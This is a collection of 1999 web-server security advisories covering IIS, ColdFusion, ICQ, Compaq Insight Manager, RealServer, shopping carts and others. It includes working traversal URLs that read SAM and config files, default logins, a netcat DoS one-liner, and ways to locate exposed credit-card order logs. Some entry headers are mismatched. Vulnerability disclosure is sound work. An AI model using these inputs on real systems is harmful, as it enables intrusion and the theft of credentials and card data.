Name: WinNT counter
Versions: Denial of Service in Counter.exe version 2.70
Date: 19 May 1999
Author: mnemonix (http://www.infowar.co.uk/mnemonix/)
A denial of service exists in counter.exe version 2.70, a fairly popular
webhit counter used on the Win32 platform with web servers such as IIS and
WebSite Pro. There are two different bugs:
1) When someone requests :
http://no-such-server-really/scripts/counter.exe?%0A
this will create an entry in counter.log of a blank line then a ",1" .
If the person then refreshes their browser and requests it again you get
an Access Violation in counter.exe - the instruction at 0x00414c0a referenced
memory at 0x00000000.
2) When someone requests:
http://no-such-server-really/scripts/counter.exe?AAAAAover-2200-As
you get a similar problem - though not a buffer overrun.
Whilst in a state of "hanging" all other vaild requests for counter are
queued and not dealt with until someone goes to the console and okays the AV
messages. Added to this memory can be consumed if the page is continuosly
requested.
Name: Infosec.19990526.compaq-im.a
Risk: Anyone that have access to port 2301 where
Compaq Insight Manager is installed could get
unrestricted access to the servers disk through
the "root dot dot" bug.
Versions: The web server included in Compaq Insight Manager
Platform: Detected on Windows NT and Novell Netware servers
Date: 26 May 1999
From: gabriel.sandberg@INFOSEC.SE
When installing Compaq Insight Manager a web server gets installed.
This web server runs on port 2301 and is vulnerable to the old
"root dot dot" bug. This bug gives unrestricted access to the vulnerable
server?s disk. It could easily get exploited with one of the URLs:
http://vulnerable-NT.com:2301/../../../winnt/repair/sam._
http://vulnerable-Netware.com:2301/../../../system/ldremote.ncf
(How many dots there should be is install-dependent)
Web-Based Management is enabled, by default, when you install the Compaq
Server Management Agents for Windows NT.(CPQWMGMT.EXE) The web-enabled
Compaq Server Management Agents allow you to view subsystem and status
information from a web browser, either locally or remotely. Web-enabled
Service Management Agents are availible in all 4.x versions of Insight
Manager.
Compaq HTTP Server Version 1.2.15 (Pre-Release)
The only user accounts available in the Compaq Server Management
Agent WEBEM release are listed below.
http://111.111.111.111:2301/cpqlogin.htm
account anonymous/public
username operator/operator
account administrator/administrator
http://111.111.111.111:2301/cpqlogin.htm?ChangePassword=yes
Once you have found one wbem enabled machine, using compaq's HTTP
Auto-Discovery Device List http://111.111.111.111:2301/cpqdev.htm
It is trivial to locate other machines.
There are three types of data:
Default(read only), Sets(read/write), and Reboot(read/write).
The WebAgent.ini file in the system_root\CpqMgmt\WebAgent directory
specifies the level of user that has access to data . The "read=" and "write="
entries in the file set the user accounts required for access, where:
0 = No access, 1 = Anonymous, 2 = User, 3 = Operator, and 4 = Administrator.
New Denial of service:
Just to make this post somewhat worthwile.
http://111.111.111.111:2301/AAAAAAAA..... (223 A's seemed to be the minimum)
The first time this occurs, an application error occurs in surveyor.exe
Exception: access violation (0xc0000005), Address: 0x100333e5
Name: IIS
Risk: Site Server's AdSamples Directory Reveals ID and PSW
Version: Tested on Microsoft Site Server 3.0 Commerce Edition
Date: 11 May 1999
Author: Andrey Kruchkov
Site Server allows the installation of an AdSamples directory, which serves
to demonstrate the capabilities of the Ad Server component. If this
directory is installed and left open to the public without limiting
directory permissions, a user can obtain a site configuration file
(SITE.CSC) that contains sensitive information pertaining to an SQL
database. This information could contain a DSN, as well as a a username
and password used by the Ad Server to access the SQL server database.
Remove the "AdSamples" virtual directory from the DEFAULT root Web site, or
change security permissions for this folder to sufficiently restrict access.
The following URL could be used to obtain the contents of the SITE.CSC file:
http://somesitename/adsamples/config/site.csc
A simple text editor can be used to view the binary contents of this file, where
the DSN, username and password would be easily discovered.
This is probably a great time to remind people once again to NEVER install
sample content on production servers and to NEVER use the built-in IIS
DEFAULT Web site without first thoroughly investigating the implications of
doing so.
Name: IIS showcode
Risk: Web users can view ASP source code and other sensitive
files on the web server
Versions: Microsoft IIS 4.0 Web Server
Date: May 7th, 1999
Author: weld@l0pht.com
Internet Information Server (IIS) 4.0 ships with a set of sample files
to help web developers learn about Active Server Pages (ASP). One of
these sample files, showcode.asp, is designed to view the source
code of the sample applications via a web browser. The showcode.asp
file does inadequate security checking and allows anyone with a web
browser to view the contents of any text file on the web server. This
includes files that are outside of the document root of the web
server.
The showcode.asp file is installed by default at the URL:
http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp
It takes 1 argument in the URL, which is the file to view. The format of
this argument is:
source=/path/filename
So to view the contents of the showcode.asp file itself the URL would be:
http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp
The author of the ASP file added a security check to only allow the
viewing of the sample files which were in the '/msadc' directory on
the system. The problem is the security check does not test
for the '..' characters within the URL. The only checking done is if the
URL contains the string '/msadc/'. This allows URLs to be created that
view, not only files outside of the samples directory, but files anywhere
on the entire file system that the web server's document root is on.
http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../boot.ini
This URL requires that IIS 4.0 was installed in its default location.
For production servers, sample files should never be installed so delete
the entire /msadc/samples directory.
Q184717 - AspEnableParentPaths MetaBase Property Should Be Set To False
as well as one on removing samples.
also note, that the exair sample (which is NOT installed by default) also
has showcode functionality.
WebTrends were also reporting the showcode.asp exploit, as well as an
exploit in codebrws.asp (both from IIS 4.0). They also reported an
exploit in viewcode.asp (from Site Server 3.0 Commerce Edition).
All 3 reports result in the same vulnerability, the ability to do "../"
up the directory tree and read files.
http://ntbugtraq.ntadvice.com/default.asp?pid=36&sid=1&A2=ind9901&L=NTBU
GTRAQ&D=0&P=6155&F=P
showcode.c tester
Name: ICQ-Webserver
Date: May 1999
-sending any non-http stuff or even a simple "get" (without any other
characters however) crashes the ICQ-Client. This works with ICQ99a V2.13
Build 1700, but not with Build 1547.
Moreover, there is a much bigger hole in the ICQ-Webserver: If you have
the webserver enabled, everyone can access your complete(!) harddisk
with a simple webbrowser. When your page is activated and you are online,
each request to
http://members.icq.com/<your ICQ-Number>
redirected to your computer. Thus, every visitor get to know your current
ip. Nevertheless, only the files in
/ICQ99/Hompage/<your ICQ-Number>/personal
should be accessible. But a visitor can "climb up" the directory tree with
some dots, e.g.
http://yourIP/...../a2.html would present him the file
"a2.html" in the "ICQ99" directory. With some more dots, he would come to
the root-directory of your harddisk. But there is one barrier: The
ICQ-Webserver only delivers files with a ".html" extension. After some
experiments I found a way to trick it out: I add ".html/" to the URL and
the Webserver sends every file I request. For instance,
http:///............./config.sys won't work, but
http:///.html/............./config.sys" would.
I have test this both with Build 1700 and with Build 1547.
we were all using ICQ99a build 1700
Method used:
telnet to port 80
send: QUIT <LF>
it disconnects after 5 to 10 seconds.
if you have a look at the pseudocode below, which i suspect mirabilis to
use, you ll find thousands of ways to exploit icq.
fread(my_socket,"%s %s %s", getword, url, httpversion);
/// if you only feed two or one word, it 'dumps core', gpf under windoze
change the slashes in url to backslashes;
url = "c:\program files\icq\webroot_dir\" + url;
/// yes, this is the '../../../../' bug ...
open(fd,url);
read(fd,buffer);
write(socket,buffer);
close(socket);
i think its this because i made small webserver earlier to see common
bugs. i checked on the net, and the dynamic server of francois piete
(known for delphi components) and various shareware servers, or remote
admin modules for eg. proxy servers are vulnerable. (kervel@svennieboy.terbank.kotnet.org)
----describtion of the security problem in Build 1701 ----
Problem: When the ICQ-Webserver is enabled (i.e. "Activate Hompage" is
checked) everybody can test if a specific file exsist on
this computer. Although an attacker can't view the contents of the files,
he can test, for example, if a certain application is
installed on this computer. This knowledge is usefull to prepare other
attacks, e.g. sending specialized macro viruses or do
some specialized D.o.S. - attacks.
Details: Mirabilis fixed the old ICQ-Webserver-Bug. With the new
version (build 1701), the ICQ-webserver would only deliver
Files in the ICQ-Homapge-directory. If an attacker tries to read a file
that is not in the hompage-directory of ICQ99 (with the
same method as in the old bug), the ICQ-webserver would'n deliver the
file. If the file exsists on the specific location the
attacker would receive "403 Forbidden". If the file doesn't exsist he
would receive "404 Not Found". Thus, he can test if a
specific file exsist.
It seems that the ICQ-Webserver first tests if the requested file
exsists and than if the request is secure. I think, this order
should be reversed.
icqget.pl perl url get exploit
icq-exp.txt tutoral for ICQ webserver
Name: Macintosh HTTP Server Vulns
Versions: Shilo v1.0b (macos) DoS
Date: 16 Apr 1999
Author: freaky@mail.staticusers.net
A Program that will exploit the buffer overflow in the responder.cgi
on MacHTTP Servers. As always, The Source code to the program is
available. by epic of mSec (http://www.msec.net/ )
To download the exploit
http://freaky.staticusers.net/attack/responder-cgi.html
Responder.cgi, a public domain 'C' shell for MacHTTP CGI Servers
contains a buffer overflow that when exploited, will cause the server
it is run on to freeze. You are at risk if your responder.cgi file
contains the line of code:
char PostArg_Search[256];
which is the QUERY_STRING, Since it only allows upto 256 characters
after ?, the server will crash if 257+ characters are requested.
Exploit Example: (nc is netcat from avian.org)
$ echo "GET /cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc machttp-server.com 80
Name: Real Media Server
Versions: RealServer 6.0 Core...
Date: April 1999
The fact is that through installation process it ask for a password that
itsn't hide neither when you write it, but worse is that this password is
stored in the file /usr/local/rmserver/rmserver.cfg in plain format and
this file have as default a 644 permision mask.
ALL the files installed for G2 are set as readable by ALL users! massive
chmod'ing.
It gets worse... the G2 web admin facility uses forms to change/set
passwords etc. (Some of) these changes are logged, in plaintext, in the
world readable access logs for your lusers' reading pleasure...
10.1.1.1 - - [14/Mar/1999:11:23:32 +0000]
"GET admin/auth.adduser.html?respage%3Dadduser_respage.html%26name%3Devilhaxor%26
pass%3Dfreekevin%26realm%3DbadwURLd HTTP/1.0"
200 2452 [UNKNOWN] [UNKNOWN] [UNKNOWN] 0 0 0 0 0 114
I believe the PNM port is 554, which I believe _requires_ (for no good
reason) you to run the G2 server as root (unless you change the port, which I
did to 5540).
Like Francisco said; the rmserver.cfg is world-readable and the
subdirectory dbm_b_db and (worse of all, like Adam Laurie already stated),
the dbm_b_db/users directory with user & passwd info is world-readable for
anyone with shell access to the machine running rmserver. There also is a
directory named "Secure", where -and I quote- you can "place secure
contents in" so "RealServer will authenticate the user" :(
So shell access to an rmserver = rmserver admin rights. (^.^)'
this also affects Version 6.0.3.303 of RealAudio Basic Server on Win NT,
File Persmission is set to full access by everyone
Station Manager from Lariat Software (www.lariat.com) manages/schedules
content offered on Real Servers and has similar issues. Quoting from their
docs:
Installing the product under docroot means all of the
installed files are viewable and/or retrievable. This includes
license info, manuals, admin info, *config* files...for example:
http://my.example.com/stationmanager/lariat/server/config/stnmng.cfg
might reward you with:
---
RVSLTA Z:\Real\Server\Bin\rvslta.exe
SERVERHOSTNAME somehost.example.com
SERVERPASSWORD xyz123 <-- ed note: Real Server pw here
SERVERPORT 7777
CONVERSION somehost.example.com 7777 X:\rmfiles
STATIONMANAGERPASSWORD foobar
---
Name: Webcom's (www.webcom.se) CGI Guestbook
Versions: Webcom's CGI Guestbook for Win32 web servers
Date: 9 Apr 1999
Author: mnemonix (http://www.infowar.co.uk/mnemonix/)
I reported a while back on (wguest.exe and rguest.exe) having a number
of security problems where any text based file on an NT machine could
be read from the file system - provided the attacker knew the path
to the file and the Anonymous = Internet Account (IUSR_MACHINENAME on
IIS) has the NTFS read right to = the file in question. On machines
such as Windows 95/98 without local file security every file is readable. wguest.exe is used to write to the =
Guestbook and rguest.exe is used to read from the Guestbook
Their latest version has made this simpler: A request for =
http://server/cgi-bin/wguest.exe?template=3Dc:\boot.ini
will return the remote Web server's boot.ini and
http://server/cgi-bin/rguest.exe?template=3Dc:\winnt\system32\$winnt$.inf
will return the $winnt$.inf file.
Name: IIS4 as proxy
Risk: allows proxied password attacks over NetBIOS
Versions: Anyboard (www.netbula.com) problem
Date: 24 Apr 1999
Author: draz Q.
I've found a "little" (?) flaw in it that allows _anyone_ to get
the admin login and password. This is because the forum CFG file is available
to anyone.
This, allows anyone to,
- Delete messages in the forum (purge the whole forum)
- Modify messages
- Write messages as Admin
- Change admin login and password
- In short, do anything in the Message forum
http://www.11a.nu/
Name: web/bb-hist.sh
Versions: Big Brother 1.09b/c
Date: 26 Apr 1999
Author: Sean MacGuire
Distro: http://maclawran.ca/bb-dnld/bb-hist.sh
Exploiting the problem could allow the partial display of local
files provided they are readable by your web server, and text-based.
Name: CC data
Risk: private info revealing
Versions: Shopping Carts exposing CC data
Date: 23 Apr 1999
Author: boo@DATASHOPPER.DK
Mountain Network Systems Inc. http://www.mountain-net.com
Exposed Directories: /config, /orders (and others. They're all listed in
config-file)
Exposed Order Info: orders.txt
Exposed Config Info: mountain.cfg
Number of exposed installs: 18+ at a quick glance. Probably more.
PGP Option Available?: Unknown
Status: Commercial, ranging from $399 to $4650.
Look for "import.txt" and "checks.txt" Import.txt includes every order ever
made on the site in a tab-delimited format.
Hole in Web Security
E-commerce Boom Fueling Security Hole?
http://www.thestandard.com/articles/display/0,1449,4307,00.html
Expert Finds Hole in Shopping Carts
http://www.zdnet.com/zdnn/stories/news/0,4586,2246537,00.html
Expert Warns of Safety Glitch in Online-Shopping Software
http://interactive.wsj.com/articles/SB924838677495215904.htm
Online Credit Card Theft Reported
http://www.latimes.com/HOME/BUSINESS/t000036381.1.html
These various shopping carts create world readable files in the web
server's document tree which have subsequently been indexed by numerous
search engines. (If a cold chill didn't just run down your spine, please,
check your pulse)
To access this order information you need a search engine and a little
knowledge of how these various shopping carts are structured. Since some
are freeware and the commercial carts have downloadable demos, this is
trivial information to obtain.
It would perhaps be prudent for ECommerce sites to reveal their
architecure and security scheme within their privacy statements. I for
one would like to hear them all say "No un-encrypted data stored on
servers - period." (This is our own policy) Hell, something as simple as
a 1024b PGP scheme with off-net private keys would make me deliriously
happy.
Please don't ask me if your particular cart is "vulnerable". Check for
yourself, since ALL of the carts listed below CAN be secured and are
usually only exposing data when the end user fsks up the install. Simply
check all files that contain customer data (order.log etc..) and see if
it's available to a web browser. You should already have the path to it,
so plug in the url to that file, if it comes up, you got problems.
It should be noted that these are not "bugs" in the common vernacular,
just improperly installed/maintained carts.
Under NO circumstances should any of the carts listed below be
blacklisted or considered unsafe. Quite the contrary. Many of the carts
listed below provide PGP options that would completely eliminate this
problem. Sadly, too few cart users are utilizing these options and
instead are taking the path of least resistance.
Here are the six shopping carts that, when installed contrary to their
documentation or are improperly maintained can expose order information.
All of the exposed information generated by these carts was discovered
through a public search engine.
Selena Sol's WebStore 1.0 http://www.extropia.com/
Platforms: Win32 / *Nix (Perl5)
Executable: web_store.cgi
Exposed Directory: Admin_files
Exposed Order info: Admin_files/order.log
Status: Commercial ($300)/ Demo available.
Number of exposed installs found: 100+
PGP Option available?: Yes
Order Form v1.2 http://www.io.com/~rga/scripts/cgiorder.html
Platforms: Win32 / *Nix (Perl5)
Executable: ?
Exposed Directory: Varies, commonly "Orders" "order" "orders" etc..
Exposed Order Info: order_log_v12.dat (also order_log.dat)
Status: Shareware ($15/$25 registration fee)
Number of exposed installs found: 15+
PGP Option available?: Unknown.
Seaside Enterprises EZMall 2000 http://www.ezmall2000.com/
Platforms: Win32 / *Nix (Perl5)
Executable: mall2000.cgi
Exposed Directory: mall_log_files
Exposed Order Info: order.log
Status: Commercial ($225.00+ options)
Number of exposed installs found: 20+
PGP Option Available?: YES
QuikStore http://www.quikstore.com/
Platforms: Win32 / *Nix (Perl5)
Executable: quikstore.cgi
Exposed Order info: quikstore.cfg* (see note)
Status: Commercial ($175.00+ depending on options)
Number of exposed installs found: 3
PGP Option Available?: Unknown.
NOTE: This is, IMHO, one of the most dangerous of the lot, but
thankfully, one of the lowest number of discovered exposures. Although
the order information itself is secured behind an htaccess name/pwd
pair, the config file is not. The config file is world readable, and
contains the CLEAR TEXT of the ADMINS user id and password
- rendering the entire shopping cart vulnerable to an intruder.
QuikStore's "password protected Online Order Retrieval System" can be
wide open to the world. (Armed with the name and pwd, the web visitor
IS the administrator of the shopping cart, and can view orders, change
settings and order information - the works.)
PDGSoft's PDG Shopping Cart 1.5 http://www.pdgsoft.com/
Platforms: Win32 / *Nix (C/C++(?))
Executable: shopper.cgi
Exposed Directory: PDG_Cart/ (may differ between installs)
Exposed Order info: PDG_Cart/order.log
Exposed Config info: PDG_Cart/shopper.conf (see note)
Status: Commercial ($750+ options)
Number of exposed installs found: 1+ (They installed it on our server)
PGP Option Available?: Unknown. (Couldn't get a yes or no outta them)
NOTE: if they renamed the order log, shopper.conf will tell you where
it's at and what it was named - worse, shopper.conf exposes the clear
text copy of Authnet_Login and Authnet_Password, which gives you full
remote administrative access to the cart. shopper.conf, from what I can
determine based on the company installed version we have here, is world
readable and totally unsecured.
And now a drum roll please:
Mercantec's SoftCart http://www.mercantec.com/
Platform: Win32 (*Nix?)
Executable: SoftCart.exe (version unknown)
Exposed Directory: /orders and /pw
Exposed Order Info: Files ending in "/orders/*.olf"
Exposed Config Info: /pw/storemgr.pw
(user ID and encrypted PW for store mgr?)
Number of exposed installs: 1
PGP Option Available?: Unknown
NOTES:
This one has only been found vulnerable on ONE server. (user error?) The
encryption scheme on the storemgr.pw password is unrecognized by me but
I'm not an encryption guru. Someone's bound to recognize it.
This is a scary one though - HiWay technologies is one of the largest
domain hosts in the world, with over 120,000 domains. They are using
SoftCart for clients that request ECommerce capabilities.
Perlshop http://www.perlshop.com/
Executable file: perlshop.cgi
Exposed directory: /store/customers/, /store/temp_customers/
Exposed orderinfo: Several files, eight-digit numbered names.
Status: adverware. Only requirement is to display a "powered by perlshop"-logo
on page.
Cybercash 2.1.4 - http://www.cybercash.com
SMPS (Server merchant payment system) has default permission problems.
The wrong moded directory is Cybercashserver/smps* which
gives complete access to view all the config
and database files. The most dangerous file
that is left world readable is:
Cybercashserver/smps*.../merchants/admin.pw
or
maybe another various directory path/location
depending on the server and version of the
software. The admin.pw contains a crypt(3)
passwd. This could lead to a system-wide
compromise if it was to be cracked.
Mountain Network Systems Inc. http://www.mountain-net.com
WebShop via http://www.inetlab.com/products.html
Platforms: Windows 95/98/NT on Intel
Linux on Intel or Sparc
Solaris on Intel or Sparc
FreeBSD 2.2 or smaller on Intel
FreeBSD 3.0 on Intel
BSDI/OS on Intel............... (Found vuln server.)
Silicon Graphics Irix on MIPS.. (Found vuln server.)
Executable: WebShop.cgi
Exposed Directory: WebShop or webshop
Exposed Order info: WebShop/templates/cc.txt
and or WebShop/logs/cc.txt and ck.log
Status: Free?, resale=$50?.
Number of exposed installs found: 2+
PGP Option available?: Unknown.
detailed analysis of WebStore at http://www.extropia.com/scripts/web_store.html)
Paper at http://www.cse.ogi.edu/~fredb/cse527paper.html for all to read.
While WebStore has already been mentioned in a thread here, the
detail given was limited. If you desire additional information, my report
may be of interest. In addition to the unauthorized access to order
information, I found potential denial of service or installation
corruption issues that, while not as large a
problem as publication of credit card numbers, are still significant problems
in the product.
Name: Cold Fusion 4.0
Risk: Web users can download, delete and even upload
executable files to a Cold Fusion server
Versions: Cold Fusion Application Server 4.0
Date: April 20th, 1999
Author: http://www.l0pht.com/advisories.html | kklinsky@themerge.com
.rain.forest.puppy.
In issue 54, volume 8 of Phrack Magazine dated December 25, 1998,
rain.forest.puppy describes a security problem
with installations of Cold Fusion Application Server when the online
documentation is installed. The online documentation is installed by
default. According to Phrack, the vulnerability allows web users to
view files anywhere on the server.
In examining an unpatched Cold Fusion Application Server it became
apparent that in addition to reading and deleting files, web users
also have the ability to upload (potentially executable) files to
the server.
A cursory survey of many large corporate and e-commerce sites using
Cold Fusion turned up many vulnerable servers.
By default, the Cold Fusion application server install program installs
sample code as well as online documentation. As part of this collection
is a utility called the "Expression Evaluator". The purpose of this
utility is to allow developers to easily experiment with Cold Fusion
expressions. It is even allows you to create a text file on your local
machine and then upload it to the application server in order to
evaluate it. This utility is supposed to be limited to the localhost.
There are basically 3 important files in this exploit that any web user
can access by default:
/cfdocs/expeval/openfile.cfm
/cfdocs/expeval/displayopenedfile.cfm
/cfdocs/expeval/exprcalc.cfm
The first one lets you upload a file via a web form. The second one
saves the file to the server. The last file reads the uploaded file,
displays the contents of the file in a web form and then deletes the
uploaded file. The Phrack article and the advisory from Allaire relate
to "exprcalc.cfm". A web user can choose to view and delete any file
they want. To view and delete a file like "c:\winnt\repair\setup.log"
you would use a URL like:
http://www.server.com/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\winnt\repair\setup.log
This exploit can be taken a step further. First go to:
http://www.server.com/cfdocs/expeval/openfile.cfm
Select a file to upload from your local machine and submit it. You will
then be forwarded to a web page displaying the contents of the file you
uploaded. The URL will look something like:
http://www.server.com/cfdocs/expeval/ExprCalc.cfm?RequestTimeout=2000&OpenFilePath=C:\Inetpub\wwwroot\cfdocs\expeval\.\myfile.txt
Now replace the end of the URL where it shows ".\myfile.txt" with
"ExprCalc.cfm". Going to this URL will delete "ExprCalc.cfm" so that web
users can now use "openfile.cfm" to upload files to the web server
without them being deleted. With some knowledge of Cold Fusion a web user
can upload a Cold Fusion page that allows them to browse directories on
the server as well as upload, download and delete files. Arbitrary
executable files could placed anywhere the Cold Fusion service has
access. Web users are not restricted to the web root.
Frequently, Cold Fusion developers use Microsoft Access databases to
store information for their web applications. If the described
vulnerability exists on your server, these database files could
potentially be downloaded and even overwritten with modified copies.
Allaire has posted a patch to this vulnerability. This is currently
available at:
http://www.allaire.com/handlers/index.cfm?ID=8727&Method=Full
http://server/cfdocs/exampleapp/docs/sourcewindow.cfm?Template=
--shows you contents of any file you want
http://server/cfdocs/snippets/evaluate.cfm
--if the expression evaluator has local host only security, why is this
one unprotected? If I knew more CF insides, maybe I could really abuse
this.
http://server/cfdocs/snippets/fileexists.cfm
--can be used to verify the existance of any file on the same hard drive.
Granted, it dissallows supplying a drive letter, or starting with \ or /.
But the following works for me (since I'm on NT, and \inetput\wwwroot is
on my boot drive): ..\..\..\..\boot.ini
http://server/cfdocs/snippets/gettempdirectory.cfm
--while this is not a security problem in itself, I was QUITE alarmed what
the results were. Now, my NT installation is a completely generic NT
install (all I did was practically hit the Next button where-ever
possible):
GetTempDirectory Example
The temporary directory for this Cold Fusion server is C:\WINNT\.
We have created a temporary file called: C:\WINNT\tes39.tmp
Now why is my \winnt\ my temp directory?!? That means temp files have the
possibility of screwing with my system files. Granted, this is probably
just a variable/setting issue. But still alarming.
http://server/cfdocs/snippets/setlocale.cfm
--possibly abusable...it's another eval.
http://server/cfdocs/snippets/viewexample.cfm?Tagname=..\..\
--allows you to view any .CFM files. It automatically adds the .cfm
extension, so only CFM files are prey to this.
http://server/cfdocs/cfmlsyntaxcheck.cfm
--I set this to c:\, check *.*, recurse, and it spit out various lists of
.exe's I had. Also caused the CF server process to spike and stay at 100%
CPU utilization.
Plus it made two ODBC DSNs for the samples. While this is not a threat
at all, there are some drawbacks....(information regarding this will be
released in the future after completion of research).
Sources
mole.cfm
This Cold Fusion template is intended for testing security
on ColdFusion application servers. It will let a web user
upload, download and delete files on a server.
quickie.c
Quickie Coldfusion exploit finder v1.0
coldscan.c
COLD FUSION VULNERABILITY TESTER - Checks for the l0pht advisory
Name: IIS4 as proxy
Risk: allows proxied password attacks over NetBIOS
Versions: IIS 4.0 with /IISADMPWD feature
Date: 9 Feb 1999
Author: mnemonix (http://www.infowar.co.uk/mnemonix/)
Internet Information Server 4.0 has an interesting feature that can
allow a remote attacker to attack user accounts local to the Web
Server as well as other machines across the Internet.Added to this
if your Web Server is behind a firewall performing network address
translation, machines on the clean side of the firewall can be attacked
Details
By default every install of Internet Information Server 4 creates
a virtual directory "/IISADMPWD". This directory contains a number
of .htr files.
Anonymous users are allowed access to this files, they are not restricted
to the loopback address (127.0.0.1). The following is a list of
files found in the /IISADMPWD directory, which physically maps to
c:\winnt\system32\inetsrv\iisadmpwd.
achg.htr
aexp.htr
aexp2.htr
aexp2b.htr
aexp3.htr
aexp4.htr
aexp4b.htr
anot.htr
anot3.htr
The files, save for a few, are pretty much variants of the same
file and allow a user to change their password via the Web. This
can be used in such scenarios as mentioned in the Introduction.Not
only this but, like the vrfy command in the SMTP service it can be
used to enumerate valid accounts through guess work. If the user
account does not exist a message will be returned saying, "invalid
domain". If the account exists, but the password is wrong then the
message will say so. If an IP address followed by a backslash precedes
the account name then the IIS server will contact the remote machine,
over the NetBIOS session port, and attempt to change the
user's password. (IPADDRESS\ACNAME)
Mechanics
Consider aexp3.htr. This produces an HTML form requesting the UserID,
old password, new password and confirm new password. The form's action
is a POST to /_AuthChangeUrl?/_AuthChangeUrl? is a "virtual file" in memory that actually maps
to achg.htr. W3SVC.dll maintains this in memory and has a function,
AuthChangeUrl(), which links this to the achg.htr file.(To see this
function make a copy of w3svc.dll, rename it to w3svc.txt and open
it in notepad. If you can't see it straight away use Find from Edit
on the Menubar).
.htr files are handled by ISM.DLL and so control is passed across
from W3SVC.DLL. ISM.DLL then uses the NetUserGetInfo ( ) and
NetUserChangePassword ( ) functions. (Again, open up ism.dll in notepad
and you can see references to these functions.) The password is changed
if the entered information was correct.
If, however, the request is to change a password on a remote machine,
the SYSTEM then logs onto the remote machine through a null session
then establishes a secure session over which to trade the account
and password information.
Solution
If you don't require this service, then remove the /IISADMPWD virtual
directory. This will prevent attackers from "proxing" password attacks.
If you do require the service and only need to change passwords on
accounts local to the server, disabling the Workstation service should
prevent this. If you require this service and want to be able to
change passwords on remote machines, do your best to limit where
NetBIOS based traffic over TCP port 139 can get to.
NOTE
In opinion of Russ - NTBugtraq moderator, all of this speculation,
mistaken assumption, farcical hyperbole and arm waving takes away
from the valid observations of the interaction between files and
service which Mnemonix has told us.
Name: IIS 4 Request Logging Security Advisory
Risk: allows an successful HTTP request to go unlogged.
Versions: IIS 4.0
Date: 22 Jan 1999
Author: mnemonix (mnemonix@GLOBALNET.CO.UK)
Microsoft's Internet Information Server 4 allows the use of any
request method of almost any length for a r esource that is to be
interpreted or executed on the web server.This includes such files
as Active Server Pages, Perl Scripts and ordinary executables.Consequently
a user can request a file, default.asp, with a request method of
AAAAAAAAAAAAAAAAAAAAAAAAA and it will be returned.
If the request method used added to the path to the requested resource
is over c.10150 bytes long the page is returned and nothing is logged
by IIS.This could allow attacks on the server to go unnoticed.
MS have probably decided to avoid the situation where an attacker
could rapidly fill up disk space by not logging overly long requests.
Perhaps it would be better to truncate such a request and log that.
To demonstrate this I have written an executable called avoid.exe
that will use a request method which is 10140 bytes long that requests
/default.asp
from a webserver. This program does not exploit anything other than the
logging avoidance. You can get a copy from
http://www.infowar.co.uk/mnemonix/avoid.exe
This was tested on NT 4 with SP3 + hotfixes.
There has been a mixed response to this problem - on some machines
nothing is logged and the page is returned, others get a 500 error
and others log the whole request.
>From what I can make out:
Machines that first had IIS 3 then were upgraded to IIS 4 with the
NT Option Pack and Service Pack 3 or 4 return the page and don't log.
Here is the source for avoid.c as many have
asked for it - for those that get a 500 response back from the server
play around with the request_method length by increasing it until
you get a 200ok response. It will chop and change between 5xx, 4xx
and 200 responses
Name: Perl.exe and IIS security advisory
Risk: the physical disk location of a virtual web directory
can be ascertained.
Versions: all versions of IIS
Date: 22 Jan 1999
Author: mnemonix (mnemonix@GLOBALNET.CO.UK)
In all versions of IIS, where a website has been configured to
interpret perl scripts using the perl executable (perl.exe),a problem
exists where a request for a non-existent file will return the physical
location on a disk of a web directory. A request for:
http://www.server.com/scripts/no-such-file.pl
will return information similar to the following:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
Can't open perl script "C:\InetPub\scripts\no-such-file.pl":
No such file or directory
Previously this was a problem when requesting a non-existent .IDC
file but this was resolved with Service Pack 4.
To resolve this problem in IIS 2 and 3 you can use perlis.dll, the
ISAPI version of the perl interpreter, instead of the executable.
You can use this in IIS 4 as well, however, if you still want to
use perl.exe you can configure IIS to check for the file's existence.
NTInfoScan, downloadable from
http://www.infowar.co.uk/mnemonix/ntinfoscan.htm , checks for
this problem and the .IDC issue as well as other security checks.
Another problem with some versions of perl.exe (eg 5.001 build 110)
is that it can be used to glean information from files that should
not be readable (eg .asp or .idc), possibly even passwords and user
IDs. This works even on directories with the "EXECUTE" permission
only. The problem is caused by IIS not checking for a file's existence
before passing control to a command interpreter. IIS 4.0 can do this,
but it does not do it by default. Other versions of IIS don't have
this capability. Basically what you do is request a file and append
%20.pl to the end of the URL:
http://www.server.com/scripts/default.asp%20.pl
IIS receives this request and assumes it is a request for a perl
script due to the extention so it passes the request to perl.exe.
Perl, when it receives the instruction to execute default.asp treats
the .pl as an argument. It goes ahead and tries to run the "commands"
in the file but can't because it is not a valid perl script. Due
to its verbosity in the error messages spawned by the file not
being a real script you can glean information from the file. To see
this working create a text file and call it passwd.txt. Enter
"webadmin" (the user ID) on one line and "secret!" (the password)
on another. Save it to your scripts directory and enter the following URL:
http://your.server.com/scripts/passwd.txt%20.pl
You should, depending upon your version of perl.exe receive the
following output:
Can't call method "webadmin" in empty package "password" at
C:\InetPub\scripts\pass.txt line 1
Some web cgi scripts require password files like these. Depending
on how any .asp or .idc files are written you may be able to extract
userIDs and passwords.
Again another problem is that some versions of perl.exe will accept
wildcards such as * or ?. Request:
http://www.server.com/scripts/*.pl
and perl.exe will open the first .pl it comes across in the directory.
You can ask for *.asp%20.pl or d*.idc%20.pl - these will do fine.
To stop this problem from happening use the ISAPI perl interpreter
instead PerlIS.dll. This provides for better performance anyway
because only one instance is ever loaded into memory. For each
concurrent perl script request a new instance of perl.exe is loaded
into its own memory space. This behaviour was discovered by Mnemonix.
Name: PWS32 httpd bug
Risk: allows remote file listing/downloading/source viewing
Versions: PWS 3.0 under Windows 9x.
Frontpage-PWS32/3.0.2.926
Date: 21 Jan 1999
the following URL will list the root directory and be able to
download any file you want.
